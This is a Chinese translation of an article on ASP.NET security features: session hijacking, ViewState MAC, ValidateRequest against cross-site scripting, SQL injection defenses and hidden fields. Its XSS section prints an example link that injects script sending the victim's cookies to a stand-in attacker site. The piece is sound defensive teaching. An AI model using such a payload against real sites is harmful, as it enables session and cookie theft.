利用ASP.NET的內(nèi)置功能抵御Web攻擊(下)

2010-08-28 10:49:01來源:西部e網(wǎng)作者:

  會話劫持

  Cookie 還被用于檢索特定用戶的會話狀態(tài)。會話的 ID 被存儲到 cookie 中,該 cookie 與請求一起來回傳送,存儲在瀏覽器的計算機上。同樣,如果失竊,會話 cookie 將可被用來使黑客進入系統(tǒng)并訪問別人的會話狀態(tài)。不用說,只要指定的會話處于活動狀態(tài)(通常不超 20 分鐘),這就有可能發(fā)生。通過冒充的會話狀態(tài)發(fā)起的攻擊稱為會話劫持。有關(guān)會話劫持的詳細信息,請閱讀 Theft On The Web: Prevent Session Hijacking。

  這種攻擊有多危險?很難講。這要取決于 Web 站點的功能,更為重要的是,該站點的頁是如何設(shè)計的。例如,假定您能夠獲得別人的會話 cookie,并將它附加到對站點上某個頁的請求中。您加載該頁并逐步研究它的普通用戶界面。除了該頁使用另一個用戶的會話狀態(tài)工作外,您無法將任何代碼注入該頁,也無法修改該頁中的任何內(nèi)容。這本身并不太壞,但是如果該會話中的信息是敏感和關(guān)鍵性的,就有可能直接導致黑客成功實現(xiàn)利用。黑客無法滲透到會話存儲的內(nèi)容中,但他可以使用其中存儲的信息,就像自己是合法進入的一樣。例如,假定有這樣一個電子商務(wù)應(yīng)用程序,它的用戶在瀏覽站點時將物品添加到購物車中。

  • 方案 1。 購物車的內(nèi)容存儲在會話狀態(tài)中。但是,在結(jié)帳時,用戶被要求通過安全的 SSL 連接確認和輸入付款詳細信息。這種情況下,通過接入其他用戶的會話狀態(tài),黑客僅可以了解到一些有關(guān)受害者的購物喜好的細節(jié)。在這種環(huán)境下劫持實際上并不會導致任何損害。受威脅的只是保密性。

  • 方案 2。應(yīng)用程序為每位注冊用戶處理一份檔案,并將檔案保存在會話狀態(tài)中。糟糕的是,檔案中(可能)包括信用卡信息。為什么要將用戶檔案詳細信息存儲到會話中?可能應(yīng)用程序的其中一個目標是,從根本上避免使用戶不得不重復鍵入自己的信用卡和銀行信息。因此,在結(jié)算時,應(yīng)用程序會將用戶定位到一個具有預先填充的域的頁。而有失謹慎的是,這些域的其中一個是從會話狀態(tài)中獲取的信用卡號,F(xiàn)在您可以猜到故事的結(jié)局了嗎?

  應(yīng)用程序的頁的設(shè)計,是防止會話劫持攻擊的關(guān)鍵所在。當然,還有兩點沒有理清。第一點是,如何防止 cookie 盜竊?第二點是,ASP.NET 可以如何檢測和阻止劫持?

  ASP.NET 會話 cookie 極其簡單,僅限于包含會話 ID 字符串本身。ASP.NET 運行庫從 cookie 中提取會話 ID,并將其與活動的會話進行比較。如果 ID 有效,ASP.NET 將連接到對應(yīng)的會話并繼續(xù)。這種行為極大地方便了已經(jīng)偷到或者可以猜出有效的會話 ID 的黑客。

  XSS 和中間人 (man-in-the-middle) 攻擊以及對客戶端 PC 的強力訪問,都是獲取有效 cookie 的方法。為了防止盜竊,您應(yīng)當實現(xiàn)安全最佳實踐來防止 XSS 及其各變種得手。

  而為了防止會話 ID 猜測,您應(yīng)當干脆避免太高估計自己的技能。猜測會話 ID 意味著您知道如何預測有效的會話 ID 字符串。對于 ASP.NET 所使用的算法(15 個隨機數(shù)字,映射為啟用 URL 的字符),隨機猜測到有效 ID 的概率接近于零。我想不到任何理由來用自己的會話 ID 生成器替換默認的會話 ID 生成器。許多情況下,這么做只會為攻擊者提供方便。

  會話劫持更為糟糕的后果是一旦 cookie 被盜或者被猜出,ASP.NET 并沒有什么辦法來檢測欺詐性的 cookie 使用。同樣,原因是 ASP.NET 將自己限制為檢查 ID 的有效性,以及 cookie 的來源地。

我在 Wintellect 的朋友 Jeff Prosise 為 MSDN Magazine 寫了一篇很好的關(guān)于會話劫持的文章。他的結(jié)論并不令人安慰:幾乎不可能建立能夠完全抵御依靠偷來的會話 ID Cookie 所發(fā)起的攻擊的防御工事。但是他開發(fā)的代碼為進一步提升安全標準提供了非常明智的建議。Jeff 創(chuàng)建了一個 HTTP 模塊,該模塊為會話 ID Cookie 監(jiān)視傳入的請求和傳出的響應(yīng)。該模塊將一條哈希代碼附加到會話 ID 之后,使攻擊者重用 cookie 更為困難。您可以在此處閱讀詳情。

  EnableViewStateMac

  視圖狀態(tài)用于在對同一個頁的兩個連續(xù)請求之間保持控件的狀態(tài)。默認情況下,視圖狀態(tài)是 Base64 編碼的,并使用一個哈希值簽名,以防止篡改。除非更改默認的頁設(shè)置,否則不可能篡改視圖狀態(tài)。如果攻擊者修改了視圖狀態(tài),甚至使用正確的算法重新生成了視圖狀態(tài),ASP.NET 都會捕獲這些嘗試并引發(fā)異常。視圖狀態(tài)被篡改并不一定有害,雖然它修改了服務(wù)器控件的狀態(tài) — 但可能成為造成嚴重感染的工具。因此,不 移除默認情況下進行的計算機身份驗證代碼 (MAC) 交叉檢查就異常重要。請參閱圖 2。

圖 2. 啟用 EnableViewStateMac 時,使視圖狀態(tài)本身難以篡改的因素

  啟用了 MAC 檢查時(默認情況),將對序列化的視圖狀態(tài)附加一個哈希值,該值是使用某些服務(wù)器端值和視圖狀態(tài)用戶秘鑰(如果有)生成的;匕l(fā)視圖狀態(tài)時,將使用新的服務(wù)器端值重新計算該哈希值,并將其與存儲的值進行比較。如果兩者匹配,則允許請求;否則將引發(fā)異常。即使假設(shè)黑客具有破解和重新生成視圖狀態(tài)的能力,他/她仍需要知道服務(wù)器存儲的值才可以得出有效的哈希。具體說來,該黑客需要知道 machine.config 的 machineKey 項中引用的計算機秘鑰。

默認情況下, 項是自動生成的,以物理方式存儲在 Windows Local Security Authority (LSA) 中。僅在 Web 場(此時視圖狀態(tài)的計算機秘鑰必須在所有的計算機上都相同)的情形下,您才應(yīng)當在 machine.config 文件中將其指定為明文。

  視圖狀態(tài) MAC 檢查是通過一個名為 EnableViewStateMac 的 @Page 指令屬性控制的。如前所述,默認情況下,它被設(shè)置為 true。請永遠不要禁用它;否則將會使視圖狀態(tài)篡改一次單擊攻擊成為可能,并具有很高的成功概率。

  ValidateRequest

  跨站點腳本 (XSS) 對于很多經(jīng)驗豐富的 Web 開發(fā)人員來說是老朋友了,它在 1999 年左右就已經(jīng)出現(xiàn)了。簡單地說,XSS 利用代碼中的漏洞來將黑客的可執(zhí)行代碼引入另一個用戶的瀏覽器會話中。如果被執(zhí)行,注入的代碼可以執(zhí)行多種不同的操作 — 獲取 Cookie 并將一個副本上載到黑客控制的 Web 站點,監(jiān)視用戶的 Web 會話并轉(zhuǎn)發(fā)數(shù)據(jù),修改被黑的頁的行為和外觀以使其提供錯誤的信息,甚至使自己變?yōu)槌掷m(xù)性的,這樣用戶下一次返回該頁時,欺詐代碼會再次運行。請在 TechNet 文章 Cross-site Scripting Overview 中詳細閱讀有關(guān) XSS 攻擊的基礎(chǔ)知識。

  代碼中的哪些漏洞導致 XSS 攻擊成為可能?

  XSS 利用的是動態(tài)生成 HTML 頁、但并不驗證回顯到頁的輸入的 Web 應(yīng)用程序。這里的輸入 是指查詢字符串、Cookie 和表單域的內(nèi)容。如果這些內(nèi)容在未經(jīng)適當性能檢查的情況下出現(xiàn)在網(wǎng)絡(luò)上,就存在黑客對其進行操作以在客戶端瀏覽器中執(zhí)行惡意腳本的風險。(前面提到的一次單擊攻擊其實是 XSS 的一種新近變種。)典型的 XSS 攻擊會導致不抱懷疑的用戶點擊一條誘惑性鏈接,而該鏈接中嵌入了轉(zhuǎn)義的腳本代碼。欺詐代碼將被發(fā)送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發(fā)生的情況的一個示例:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= 
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>


  用戶單擊一個看上去明顯安全的鏈接,最終導致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計算機上的所有 Cookie,然后將它們發(fā)送到黑客的 Web 站點。

  請務(wù)必注意,XSS 不是一個特定于供應(yīng)商的問題,因此并不一定會利用 Internet Explorer 中的漏洞。它影響目前市場上的所有 Web 服務(wù)器和瀏覽器。更應(yīng)注意的是,沒有哪一個修補程序能夠修復這一問題。您完全可以保護自己的頁免受 XSS 攻擊,方法是應(yīng)用特定的措施和合理的編碼實踐。此外,請注意,攻擊者并不需要用戶單擊鏈接就可以發(fā)起攻擊。

  要防御 XSS,您必須從根本上確定哪些輸入是有效的,然后拒絕所有其他輸入。您可以在一本書中讀到抵御 XSS 攻擊的詳細檢查表,該書在 Microsoft 屬于必讀范圍 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特別地,我建議您仔細閱讀第 13 章。

阻止陰險的 XSS 攻擊的主要方法是向您的輸入(任何類型的輸入數(shù)據(jù))添加一個設(shè)計合理、有效的驗證層。例如,某些情況下即使是原本無害的顏色(RGB 三色)也會將不受控制的腳本直接帶入頁中。

  在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 屬性被打開后,將檢查以確定用戶沒有在查詢字符串、Cookie 或表單域中發(fā)送有潛在危險性的 HTML 標記。如果檢測到這種情況,將引發(fā)異常并中止該請求。該屬性默認情況下是打開的;您無需進行任何操作就可以得到保護。如果您想允許 HTML 標記通過,必須主動禁用該屬性。

<%@ Page ValidateRequest="false" %> 



  ValidateRequest不是 萬能的藥方,無法替代有效的驗證層。請閱讀此處以獲取大量有關(guān)該功能的基礎(chǔ)原理的寶貴信息。它基本上通過應(yīng)用一個正則表達式來捕獲一些可能有害的序列。

  注 ValidateRequest 功能原本是有缺陷的,因此您需要應(yīng)用一個修補程序它才能按預期工作。這樣的重要信息常常不為人們所注意。奇怪的是,我發(fā)現(xiàn)我的其中一臺計算機仍受該缺陷的影響。試試看!

  沒有任何關(guān)閉 ValidateRequest 的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠?qū)⒛承?HTML 張貼到站點,以便得到更好的格式設(shè)置選項。這種情況下,您應(yīng)當限制所允許的 HTML 標記(<pre>、<b>、<i>、<p>、<br>、<hr>)的數(shù)目,并編寫一個正則表達式,以確保不會允許或接受任何其他內(nèi)容。

  以下是一些有助于防止 ASP.NET 遭受 XSS 攻擊的其他提示:

  • 使用 HttpUtility.HtmlEncode 將危險的符號轉(zhuǎn)換為它們的 HTML 表示形式。

  • 使用雙引號而不是單引號,這是因為 HTML 編碼僅轉(zhuǎn)義雙引號。

  • 強制一個代碼頁以限制可以使用的字符數(shù)。


  總之,使用但是不要完全信任 ValidateRequest 屬性,不要太過懶惰;ㄐ⿻r間,從根本上理解 XSS 這樣的安全威脅,并規(guī)劃以一個關(guān)鍵點為中心的防御策略:所有的用戶輸入都是危險的。

  數(shù)據(jù)庫角度

  SQL 注入是另一種廣為人知的攻擊類型,它利用的是使用未篩選的用戶輸入來形成數(shù)據(jù)庫命令的應(yīng)用程序。如果應(yīng)用程序興高采烈地使用用戶鍵入表單域中的內(nèi)容來創(chuàng)建 SQL 命令字符串,就會將您暴露在這一風險下:惡意用戶只需訪問該頁并輸入欺詐參數(shù),就可以修改查詢的性質(zhì)。您可以在此處了解更多有關(guān) SQL 注入的信息。

要阻止 SQL 注入攻擊,有許多方法。以下介紹最常見的技巧。

  • 確保用戶輸入屬于適當?shù)念愋,并遵循預期的模式(郵政編碼、身份證號,電子郵件等)。如果預期來自文本框的數(shù)字,請在用戶輸入無法轉(zhuǎn)換為數(shù)字的內(nèi)容時阻止該請求。

  • 使用參數(shù)化的查詢,使用存儲過程更好。

  • 使用 SQL Server 權(quán)限來限制各個用戶可以對數(shù)據(jù)庫執(zhí)行的操作。例如,您可能需要禁用 xp_cmdshell 或者將該操作的權(quán)限僅限于管理員。

  如果使用存儲過程,可以顯著降低發(fā)生這種攻擊的可能性。實際上,有了存儲過程,您就無需動態(tài)地撰寫 SQL 字符串。此外,SQL Server 中將驗證所有參數(shù)是否具有指定的類型。雖然光是這些并不是百分百安全的技巧,但是加上驗證的話,將足以提高安全性。

  更為重要的是,應(yīng)確保只有經(jīng)過授權(quán)的用戶才能夠執(zhí)行可能具有嚴重后果的操作,如刪除表。這要求認真仔細地設(shè)計應(yīng)用程序的中間層。好的技巧(不光是為了安全性)應(yīng)把焦點集中在角色上。應(yīng)當將用戶分組為各種角色,并為各個角色定義一個包含一組最少的權(quán)限的帳戶。

  幾周前,Wintellect Web 站點受到一種很復雜的 SQL 注入的攻擊。那位黑客試圖創(chuàng)建并啟動一個 FTP 腳本來下載一個可能是惡意的可執(zhí)行程序。幸運的是,這次攻擊失敗了;蛘撸鋵嵤菑娪脩趄炞C,使用存儲過程和使用 SQL Server 權(quán)限,導致了攻擊未能成功?

  總而言之,您應(yīng)當遵循這些指南,以避免被注入有害的 SQL 代碼:

  • 使用盡可能少的權(quán)限運行,永遠不以“sa”身份執(zhí)行代碼。

  • 將訪問限制給內(nèi)置的存儲過程。

  • 首選使用 SQL 參數(shù)化查詢。

  • 不通過字符串串連來生成語句,不回顯數(shù)據(jù)庫錯誤。

  隱藏域

  在傳統(tǒng)的 ASP 中,隱藏域是唯一一種在請求之間保持數(shù)據(jù)的方法。您需要在下一個請求中檢索的任何數(shù)據(jù)都被打包到隱藏的 <input> 域中,并執(zhí)行回程。如果有人在客戶端上修改了該域中存儲的值,會怎樣?只要文本是明文的,服務(wù)器端環(huán)境就無法測知這一情況。ASP.NET 中,頁和各個控件的 ViewState 屬性有兩個用途。一方面,ViewState 是跨請求保持狀態(tài)的方法;另一方面,ViewState 使您能夠在受保護的、不易篡改的隱藏域中存儲自定義值。

  視圖狀態(tài)被附加了一個哈希值,對于每條請求,都會檢查該值,以檢測是否發(fā)生了篡改。除少數(shù)幾種情況外,沒有任何理由要在 ASP.NET 中使用隱藏域。視圖狀態(tài)能夠以安全得多的方式實現(xiàn)相同的功能。前面開門見山地講到過,在明文的隱藏域中存儲敏感的值(如價格或信用卡詳細信息),相當于對黑客張開大門;視圖狀態(tài)甚至能夠使這種不好的做法比以前更為安全,因為視圖狀態(tài)具有數(shù)據(jù)保護機制。但是,請牢記,視圖狀態(tài)可以防止篡改,但是并不能保證保密性,除非使用加密 — 存儲在視圖狀態(tài)中的信用卡詳細信息無論如何都有風險。

在 ASP.NET 中,哪些情況下使用隱藏域是可接受的?當您生成需要將數(shù)據(jù)發(fā)送回服務(wù)器的自定義控件時。例如,假定您要創(chuàng)建一個支持重派列順序的新 DataGrid 控件。您需要在回發(fā)中將新的順序發(fā)送回服務(wù)器。如果不將這些信息存儲到隱藏域中,又可以存儲到哪里?

  如果隱藏域為讀/寫域,即預期客戶端會寫入它,沒什么辦法能夠完全制止黑客攻擊。您可以嘗試哈希或者加密該文本,但這并不能讓您合理地確信不會遭受黑客攻擊。此時,最好的防御就是讓隱藏域包含惰性和無害的信息。

  此外,應(yīng)當注意 ASP.NET 公開了一個鮮為人知的類,可用于編碼和哈希任何序列化的對象.該類為 LosFormatter,ViewState 實現(xiàn)用于創(chuàng)建回程到客戶端的編碼文本正是同一個類。

private string EncodeText(string text) { 
StringWriter writer = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
return writer.ToString();
}

  前面的代碼片段演示了如何使用 LosFormatter 來創(chuàng)建類似視圖狀態(tài)的內(nèi)容,對其編碼并進行哈希。

  電子郵件和垃圾郵件

  在本文結(jié)尾,請讓我指出,最常見的攻擊中至少有兩種(經(jīng)典的 XSS 和一次單擊)通常是通過誘使不抱懷疑的受害者單擊誘惑性和欺騙性的鏈接來發(fā)起的。很多時候我們都可以在自己的收件箱中發(fā)現(xiàn)這樣的鏈接,雖然有反垃圾郵件過濾器。幾美元就可以買到大量電子郵件地址。用來生成這種列表的其中一種主要的技巧就是掃描 Web 站點上的公共頁,查找并獲取所有看上去像電子郵件的內(nèi)容。

  如果頁上顯示了電子郵件地址,很可能或早或晚這個地址都會被自動 Web 程序捕獲。真的嗎?當然,這要看該電子郵件是如何顯示的。如果硬編碼它,您輸定了。如果采用其他表示形式(如 dino-at-microsoft-dot-com),是否能夠騙過自動 Web 程序不太清楚,但能讓所有閱讀您的頁并想建立合法聯(lián)系的人光火,倒是一定的。

  總體說來,您應(yīng)當確定一種方法,將電子郵件動態(tài)地生成為 mailto 鏈接。Marco Bellinaso 編寫的一個免費組件恰好可以完成這項工作。您可以從 DotNet2TheMax Web 站點獲得該組件的全部源代碼。

  小結(jié)

  有人懷疑 Web 可能是所有運行時環(huán)境中敵意最盛的嗎?根源在于誰都可以訪問 Web 站點,并嘗試向它傳遞好的或壞的數(shù)據(jù)。但是,創(chuàng)建不接受用戶輸入的 Web 應(yīng)用程序,又有什么意義呢?

  我們還是直面現(xiàn)實吧:無論您的防火墻如何強大,無論您如何頻繁地應(yīng)用可用的修補程序,只要您運行的 Web 應(yīng)用程序先天包含缺陷,攻擊者遲早都可以通過主通道,也就是端口 80,直接進入您的系統(tǒng)的最核心部分。

  ASP.NET 應(yīng)用程序與其他 Web 應(yīng)用程序相較,既不更易受攻擊,也不更安全。安全性和漏洞同樣根植于編碼實踐、實際經(jīng)驗和團隊合作。如果網(wǎng)絡(luò)不安全,那么任何應(yīng)用程序都不安全;類似地,無論網(wǎng)絡(luò)如何安全,管理如何精良,如果應(yīng)用程序存在缺陷,攻擊者總是能夠得手。

  ASP.NET 的好處是提供了一些好的工具,只需少量工作,就可以將安全標準提升到可以接受的級別。當然,這并不是 足夠高的級別。不應(yīng)純粹以來 ASP.NET 的內(nèi)置解決方案,同樣也不應(yīng)忽視它們。盡可能多地了解常見的攻擊。

  本文提供了內(nèi)置功能的帶注釋的列表,以及一些有關(guān)攻擊與防御的背景知識。用來檢測傳出的攻擊的技巧是另一回事,可能需要一篇專門的文章來進行介紹。

關(guān)鍵詞:ASP.NET

贊助商鏈接: